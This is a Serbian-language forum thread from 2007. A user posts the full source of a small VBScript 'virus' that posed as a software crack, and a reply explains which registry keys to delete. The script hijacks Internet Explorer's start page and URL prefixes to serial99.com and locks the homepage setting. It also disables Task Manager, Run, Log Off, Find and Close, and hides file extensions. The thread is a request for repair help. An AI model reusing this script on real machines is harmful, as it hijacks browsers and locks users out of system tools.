[es] - VB takoreci virus ...............

Radovan__III
Radovan__III
Beograd

Član broj: 15669
Poruke: 1245
*.vdial.verat.net.

+26 Profil

^{07.11.2007. u 11:48 - pre 200 meseci}

Klinac je pokupio negde jedan prost vb "virus" koji je samo napravio neke promene u registriju

wscript.echo "Cracking... now! Click here for crack!"
itemtype = "REG_SZ"
mustboot = "www.serial99.com"
jobfunc = "CRACKED!"
t = "Successfull!"
Mybox = MsgBox(jobfunc & disab & vbCR & mustboot, 4096, t)
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.serial99.com/?a","REG_SZ"
WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Window Title", "Serial99.com","REG_SZ"
WSHShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes\\www","http://www.serial99.com/?","REG_SZ"
WSHShell.RegWrite "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
WSHShell.RegWrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.serial99.com/?a","REG_SZ"
WSHShell.RegWrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.serial99.com/?a","REG_SZ"
WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\\DisableTaskMgr", "1","REG_SZ"
WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoRun", "1","REG_SZ"
WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoLogOff", "1","REG_SZ"
WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoFind", "1","REG_SZ"
WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoRecentDocsMenu", "1","REG_SZ"
WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoClose", "1","REG_SZ"
WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\\HideFileExt","00000001","REG_DWORD"

Ima li neko gotovo resenje da vratim sve na prvobitno ili bar da mi neko da prvobitne vrednosti koje su potrebne da vratim u registry posto nema ni run ni turn off otd ( radi se o win xp-u )

Hvala na pomoci

Aj sad svi u biblioteku da nesto pojedemo i popijemo ...
--------------------------------
Knjigovodstvo

Odgovor na temu

Backy
Branislav Đurković
Treptač svetala
Beograd, Zvezdara

Član broj: 54113
Poruke: 2303
77.46.234.*

Jabber: backy@elitesecurity.org
ICQ: 231979809
Sajt: www.elitesecurity.org/o/p..

+121 Profil

Re: VB takoreci virus ...............

^{07.11.2007. u 14:24 - pre 200 meseci}

za početak pobriši sve ključeve koji su generisani u polisama... samo ime im kaže čemu služe... mislim na:
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\\DisableTaskMgr", "1","REG_SZ"
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoRun", "1","REG_SZ"
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoLogOff", "1","REG_SZ"
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoFind", "1","REG_SZ"
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoRecentDocsMenu", "1","REG_SZ"
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoClose", "1","REG_SZ"

aka Vitez Koja
::
日本光学工業株式会社 :: One photo out of focus is a mistake, ten
photo out of focus are an experimentation, one hundred photo out of focus are a
style.

Odgovor na temu